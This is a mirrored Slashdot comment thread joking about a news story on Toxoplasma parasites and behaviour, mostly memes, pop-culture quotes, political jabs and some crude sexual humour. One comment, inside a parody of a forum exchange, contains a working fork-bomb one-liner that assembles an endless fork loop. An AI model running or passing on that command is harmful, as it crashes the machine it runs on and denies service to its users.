Slashdot Mirror
Mind Control Parasites in Half of All Humans
iiii writes "According to a Yahoo News
story, half of the world's human population is infected with Toxoplasma,
a parasite shown to alter the brain function of rats, inducing them into behavior that benefits the parasite but is suicidal for the rat. So what affect does it have on humans? Article comes complete with Heinlein 'Puppet Masters' reference. I call dibs on using Toxoplasma as a name for my rock band."
I for one have ALREADY welcomed our parasitic overlords.
"I'm going to f***ing bury that guy, I have done it before, and I will do it again. I'm going to f***ing kill Google"
HYPNOGERMS!!!
...of God's Intelligent Design(TM) here on Earth!!
Not me. I'm going to blame the parasite who hired me.
'Mind control parasites':
...
...)
'Toxoplasma'? I thought they were called politicians
(if only it was _only_ half of all humans
-wb-
I favor unreasonably huge subsidies to the brain slug planet.
Does it happen to affect 51% of Americans?
... and then they built the supercollider.
These aren't the parasites you are looking for.
liqbase
Its no wonder so many are infected.
Us males can't stop licking pussy!
liqbase
Is the article implying that it's NOT normal for someone to seek out cat urine-marked areas in one's house???
Since toxoplasma makes rats unafraid of or even like cat urine, I think it's all a diabolical scheme by the cats. I used to think cats only tolerated us until they could figure out how to operate a can-opener, but now I've realised its a much more cunning scheme - to make humans the slaves of cats!
Old ladies are obviously the most affected after a lifetime of exposure, but its only a matter of time before we all become food suppliers and grooming slaves to our cat overlords. Just look what happens to people when you show them pictures of fluffy kittens, they go all gooey and unable to think straight - my girlfriend is a typical example, she defends her cats against any criticism, because they're so 'cute'.
We must act now, while some of us can still see what the cats are up to. We must destroy the cat menace!
Remember kids, it's all fun and games until someone commits wholesale galactic genocide.
The term "bio-rootkit" is not one I wish to see in common usage!
It's not toxoplasma, it's midi-chlorians! Lucas sucks.
Oh my god, this is a scientific explaination for the crazy cat lady phenomenon... I'm serious RTFA!!!
C'mon guys, this isn't a duplicate story. This one is referring to the other half of the population. The truth is that we're all infected. ;-)
There are 10 kinds of people; those who know ternary, those who don't, and those now hunting for a dictionary.
Toxoplasma is actually the eggs for body thetans. If you do not want to believe this, read this link
The earth is a battlefield, my friend. I'm going to get audited errrr tested.
Take the cheese to sickbay, the doctor should see it as soon as possible - B'Elanna Torres, "Learning Curve"
[Political/religious/OS statement]
For a minute there, I thought the article was talking about women...
eTrade SUCKS
Most women are cat lovers. ;)
Most men will say most women are schizo.
The prosecution rests your honor.
0- Eamonman Proud member of DNRC
These aren't the droids we're looking for.
Saving the World: One Drink at a Time
Every day, I wake up. I get a drink and read the paper, I check my blog feed, and then I look at Slashdot. Across the board I see headlines like "Microsoft hires person X" and "GM cuts this and that" and "Drought in Borneo" and "Economic growth at risk". Or even the supreme dullness indicator, the dreaded "trade summit".
Suffice it to say I've been waiting to see a headline like "brain-controlling parasites control 50% of the human population" for a long time. Thank you, Slashdot editors.
xkcd.com - a webcomic of mathematics, love, and language.
... who voted for Bush?
Just imagine all the hippies endulging in cat feces...
I think we can keep recursing like this until someone returns 1
All your base ... nah..
Half your heads are belong to them.
This may actually explain George Bush.
[Extremely angry rebuttal]
[Questions about #2's intellect]
In other news: bacteria find that they are being used for slave labor in the Human digestive system. That same day they started protesting, forcing the human to call in sick for a day and flush many of the protesters down the toilet.
[Quote from Hitler which when taken wildely out of context which has some similarities to #3's post, comparison of #3 to Hitler]
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
[Accusation of bash.org plagiarism]
[Unnessecarily long, misspelled defence of original statement] [Sarcasm] [witty, annoying sig]
Just imagine all the hippies endulging in cat feces...
Hey man, this is good shit.
Blank until
There are 11 types of people in the world: those who can count in binary, and those who can't.
Is that intentional irony, or merely an attempt to look smart gone ironically wrong?
My guess is that people who are allergic to cats are, most likely, NOT infected.
.... well, different, from the rest of us? As if they don't fit in to the system. ... ...
Ever notice how people who are allergic to cats are
[attempt to carry the joke out long past when it was funny]
Does this explain why religion is on the decline? As less people are infected, less display symptoms of schizophrenia, such as "feeling the divine presence", and "talking to God". Maybe true devotion in the middle ages was a neurochemical imbalance caused by a parasite, and now that humans are living more cleanly, the "faith" we have left is just residual from the earlier teachings?
No! Are you suggesting that Christianity is caused by rats? Please be so kind as to inform us which country you reside in, so that we can burn down your embassy and demand an apology from your government.
Let me introduce you to Ceti Alpha V's only remaining indigenous life form; what do you think? They've killed twenty of my people, including my beloved wife. Oh, not all at once and not instantly, to be sure. Their young enter through the ears and wrap themselves around the cerebral cortex. This has the effect of rendering the victim extremely susceptible to suggestion. Later, as they grow, follows madness, paralysis -- and death. These are pets, of course -- not quite domesticated.
That's better! Now: tell me why you are here -- and tell me where I may find James Kirk.
Ironic that you wrote the whole joke, instead of using it's proper name 769,549.
000001 A oldy but goody
Error: division by zero signalled
All's true that is mistrusted
Hermes Conrad: Onto new business. Today's mission is to go to the brain slug planet.
Dr. Zoidberg: What are we going to do there?
Hermes Conrad: Nothing. Just walk around not wearing a helmet.
[Invokes Godwin's Law]
There is no America. There is no democracy. There is only IBM and AT&T and DuPont, Dow, General Electric, and Exxon
It's a secularist conspiracy to sap and impurify all of our precious bodily fluids.
Sincerely;
Commander Ripper
[Reference to irony of plagerizing a site thats nothing but people plagerizing comedians and other old jokes by adding their irc nicks where appropriate]
Pain lasts, kid. Its how you know you're alive. Sometimes I think this growing up thing is just pain management-TheMaxx
> There are 11 types of people in the world: those who can count in binary, and those who can't.
there are 11 types. those who can count in binary, those who'd love to. and those who have friends.
Loving a cat will usually make the cat really mad at you. It could scratch or bite. Also, you could go to jail. In many places it is illegal to love a cat.
[ belated and lame attempt to get in on the running joke ]
[ non-sequitur afterthought that might have worked as a post all by itself, but fails when combined with the first statement ]
That's because the Toxoplasma doesn't want you to know...
[repetition of the title of the song]
[apology in advance to Davinci's Notebook]
[Adult Swim]